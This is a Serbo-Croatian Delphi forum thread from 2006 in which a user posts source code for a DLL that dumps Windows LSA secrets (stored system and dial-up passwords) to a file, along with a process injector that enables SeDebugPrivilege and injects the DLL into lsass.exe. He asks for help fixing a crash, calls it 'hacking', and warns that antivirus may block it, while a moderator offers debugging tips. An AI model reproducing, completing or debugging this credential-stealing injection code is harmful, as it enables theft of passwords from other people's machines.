Srodne teme
Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Izludio me ovaj DLL..

[es] :: Pascal / Delphi / Kylix :: Izludio me ovaj DLL..

[ Pregleda: 1805 | Odgovora: 5 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Izludio me ovaj DLL..23.11.2006. u 11:50 - pre 212 meseci
Ovako, kod se da iskompajlirat, al problem je u tome da se stvara neki exception na nekoj mem. adresi!!!!!!! E sad ako itko zna nanjusit u kojoj liniji/linijama bi mogao bit problem neka javi....

Code:

library Project1;



uses
  SysUtils,
  Classes, Windows, Registry;

{$R *.res}


type HPOLICY=DWORD;
type HSECRET=DWORD;
type NTSTATUS=CARDINAL;

type LSA_SECRET=record
      Length:DWORD;
      MaximumLength:DWORD;
      Buffer:PWideChar;
 end;


function LsaIOpenPolicyTrusted(var p1:HPOLICY): NTSTATUS; stdcall; external 'lsasrv.dll' name'LsaIOpenPolicyTrusted';
function LsarOpenSecret(p1: HPOLICY; var p2: LSA_SECRET; dwAccess: DWORD; var p3: HSECRET): NTSTATUS; stdcall;
                         external 'lsasrv.dll' name 'LsarOpenSecret';
function LsarQuerySecret(p1: HSECRET; var p2: LSA_SECRET; p3,p4,p5:DWORD): NTSTATUS; stdcall;
                         external 'lsasrv.dll' name 'LsarQuerySecret';


var f:textfile;
    reg:TRegistry;
    s:TStringList;
    x:integer;

    p:PWideChar;
   ss:String;

    lsaSecret,lsaData:LSA_SECRET;
   _hPolicy:HPOLICY;
   _hSecret:HSECRET;


begin
_hPolicy:=0;
_hSecret:=0;

 AssignFile(f,'c:\mrs111.txt');
 Rewrite(f);
 WriteLn(f,'Proces hakovanja pocinje... :)');

 reg:=TRegistry.Create;
 reg.RootKey:=HKEY_LOCAL_MACHINE;
 reg.OpenKey('\SECURITY\Policy\Secrets',true);
 s:=TStringList.Create;
 reg.GetKeyNames(s);
 reg.CloseKey;
 reg.Free;

LsaIOpenPolicyTrusted(_hPolicy);
  for x:=0 to s.Count-1 do
   begin
   WriteLn(f,s[x]);
  ss:=s[x];
        GetMem(p,sizeof(widechar)*length(ss));
        StringToWideChar(ss,p,sizeof(widechar)*length(ss));
        lsaSecret.Buffer:=p;
        lsaSecret.Length:=Length(s[x]);
        lsaSecret.MaximumLength:=10000;;

       LsarOpenSecret (_hPolicy, lsaSecret, 2, _hSecret);
       LsarQuerySecret (_hSecret, lsaData, 0, 0, 0);
       WriteLn(f,lsaData.Buffer);
       FreeMem(p);            
   end;
 CloseFile(f);
 s.Free;
end.

 
Odgovor na temu

savkic
Igor Savkić

Moderator
Član broj: 92186
Poruke: 2739



+92 Profil

icon Re: Izludio me ovaj DLL..23.11.2006. u 12:00 - pre 212 meseci
> Ovako, kod se da iskompajlirat, al problem je u tome da se stvara neki exception
> na nekoj mem. adresi!!!!!!! E sad ako itko zna nanjusit u kojoj liniji/linijama bi
> mogao bit problem neka javi....

Moraš dati više detalja. Prvo koji exception. Vidim da ovde loguješ neke stvari tako da možeš znati i u kom trenutku se dešava. Dalje, ako samo čitaš vrednosti iz HKLM onda navedi ReadOnly access flag.

 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Izludio me ovaj DLL..23.11.2006. u 12:15 - pre 212 meseci
Ok, evo ovako.. radi se o "LSA dumping memory", to je kljuc koji se nalazi ovdje:
HKEY_LOCAL_MACHINE\SECURITY , ali ako ides sa regedit.exe il bilo cim drugim neces vidjet nista jer program mora bit startovan od SYSTEM usera da bi vidio taj sadrzaj.. a to znaci jebada ili jednostavno injectanje koda u lsass.exe jer je on vec startovan od system usera i zaduzen za ta sranja!!

Uglavnom znaci tu \SECURITY\Policy\Secrets se nalaze keyevi.. jedno oko njih 20-ak koji su kriptovani, svaki taj key je kao 1 secret i on se pomocu ovih fja dekriptuje i nakon toga dobijes plaintext u kojem su passwordi od windowsa, od dial up konekcija (adsl, etc.), znaci tamo je sve sto se tice toga spremljeno!! => imas jedan program lsadump2 se zove i on to upravo radio, al sam odlucio prevest taj C kod u delphi i skratit ga malo pa eto sad zaebava.. uglavnom negdje je problem, il kod deklaracije fja za dekriptiranje tih "secret keyeva":
function LsaIOpenPolicyTrusted(var p1:HPOLICY): NTSTATUS; stdcall; external 'lsasrv.dll' name'LsaIOpenPolicyTrusted';
function LsarOpenSecret(p1: HPOLICY; var p2: LSA_SECRET; dwAccess: DWORD; var p3: HSECRET): NTSTATUS; stdcall;
external 'lsasrv.dll' name 'LsarOpenSecret';
function LsarQuerySecret(p1: HSECRET; var p2: LSA_SECRET; p3,p4,p5:DWORD): NTSTATUS; stdcall;
external 'lsasrv.dll' name 'LsarQuerySecret';
Problem je u tome sto te fje nisu dokumentirane tako da ono.. jebada :), skinio sam i onaj Windows NT/2000 Native API Refrence ali ni tamo se ne spominju!

Znaci onaj gornji kod je DLL koji injectujem u lsass.exe, ovako izgleda kod injectora i kod njega je sve u redu:
Code:

unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Tlhelp32, StdCtrls;

type
  TForm2 = class(TForm)
    Button1: TButton;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

const SE_DEBUG_NAME='SeDebugPrivilege';
const DLL_string='c:\l2.dll';



var
  Form2: TForm2;

implementation

{$R *.dfm}




procedure TForm2.Button1Click(Sender: TObject);
var hSnapHandle:THandle;
    lpProcE:TProcessEntry32;

    hToken:THandle;
    sedebugnameValue:TLargeInteger;
    tkp, ptkpPrev:TOKEN_PRIVILEGES;
    bRet:Boolean;
    ulRet:ULONG;

    _handleWL:THandle;
    _exitCode:DWORD;



  procHandle   : THandle;
  RemoteTID    : Cardinal;
  BaseAddress  : pointer;
  BytesWritten : Cardinal;
  ADLL:String;


begin


if not OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
     ShowMessage('problem...');

    bRet:=LookupPrivilegeValue( Nil, SE_DEBUG_NAME, sedebugnameValue);
    if not bRet then
        CloseHandle(hToken);
  

    tkp.PrivilegeCount:= 1;
    tkp.Privileges[0].Luid:=sedebugnameValue;
    tkp.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;

  ptkpPrev:=tkp;
    bRet:=AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(TOKEN_PRIVILEGES),ptkpPrev,ulRet);

    CloseHandle(hToken);



hSnapHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
if hSnapHandle<>0 then
begin
  if Process32First(hSnapHandle, lpProcE)=true then
    begin
       while Process32Next(hSnapHandle, lpProcE) do
        begin
          procHandle := OpenProcess(PROCESS_ALL_ACCESS, FALSE, lpProcE.th32ProcessID);
        if lpProcE.szExeFile='lsass.exe' then
          begin
           ShowMessage('Sad cu injectovat kod!!! :P');


  If procHandle = 0 Then
    Exit;
  BaseAddress := VirtualAllocEx(procHandle, nil, Length(DLL_string)+4, MEM_COMMIT, PAGE_READWRITE);
  If BaseAddress = nil Then
  Begin
    ShowMessage('Sranje!');
    CloseHandle(procHandle);
    Exit;
  End;


  If (not WriteProcessMemory(procHandle, BaseAddress,@DLL_string[1],
        Length(DLL_string), BytesWritten))  Then
  Begin
    ShowMessage('Nece..1');
    CloseHandle(procHandle);
    Exit;
  End;

  CreateRemoteThread(procHandle, nil, 0, GetProcAddress(GetModuleHandle('kernel32.dll'),'LoadLibraryA'), BaseAddress, 0,RemoteTID);
  CloseHandle(procHandle);



          end;
        end;
    end;
end;


end;

end.





Znaci s njim se ne trebas zamarat.. problem je kod onog DLL-a, evo ti u attachu .exe i .dll od onog lsadump2-a i svi kodovi koji dolaze s njim: vise o tom lsadump2 procitaj na:
http://www.bindview.com/Servic...es/Windows/lsadump2_readme.cfm


poz i thx





edit:
moram nesto restartat pa cu onda okacit slike exceptiona
Prikačeni fajlovi
 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Izludio me ovaj DLL..23.11.2006. u 13:02 - pre 212 meseci
Evo i slika tog s*anja :)

pozzz

Prikačeni fajlovi
 
Odgovor na temu

savkic
Igor Savkić

Moderator
Član broj: 92186
Poruke: 2739



+92 Profil

icon Re: Izludio me ovaj DLL..23.11.2006. u 15:22 - pre 212 meseci
> mas jedan program lsadump2 se zove i on to upravo radio, al sam odlucio prevest taj C kod u delphi i skratit ga malo pa eto sad zaebava..
> uglavnom negdje je problem, il kod deklaracije fja za dekriptiranje tih "secret keyeva":

Kod mene (W2K, SP4) taj lsdump2 ništa ne radi. Po grešci bi se reklo da program pokušava čitanje sa memorijske lokacije koja mu ne pripada. Nisi rekao u kom trenutku dolazi do te greške. Pokušaj da izbacuješ red po red dok ne dođeš do koda koji radi. Vidim da se C primer razlikuje od tvog, tako da i to može biti uzrok.
 
Odgovor na temu

qwertzuiopasdfghjkl

Član broj: 94834
Poruke: 86
*.adsl.net.t-com.hr.



Profil

icon Re: Izludio me ovaj DLL..23.11.2006. u 15:51 - pre 212 meseci
I .exe i .dll ti moraju biti na C:\

Pazi da ti ga AV ne blokira.. bilo je i takvih slucaja!!

z
 
Odgovor na temu

[es] :: Pascal / Delphi / Kylix :: Izludio me ovaj DLL..

[ Pregleda: 1805 | Odgovora: 5 ] > FB > Twit

Postavi temu Odgovori

Srodne teme
Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.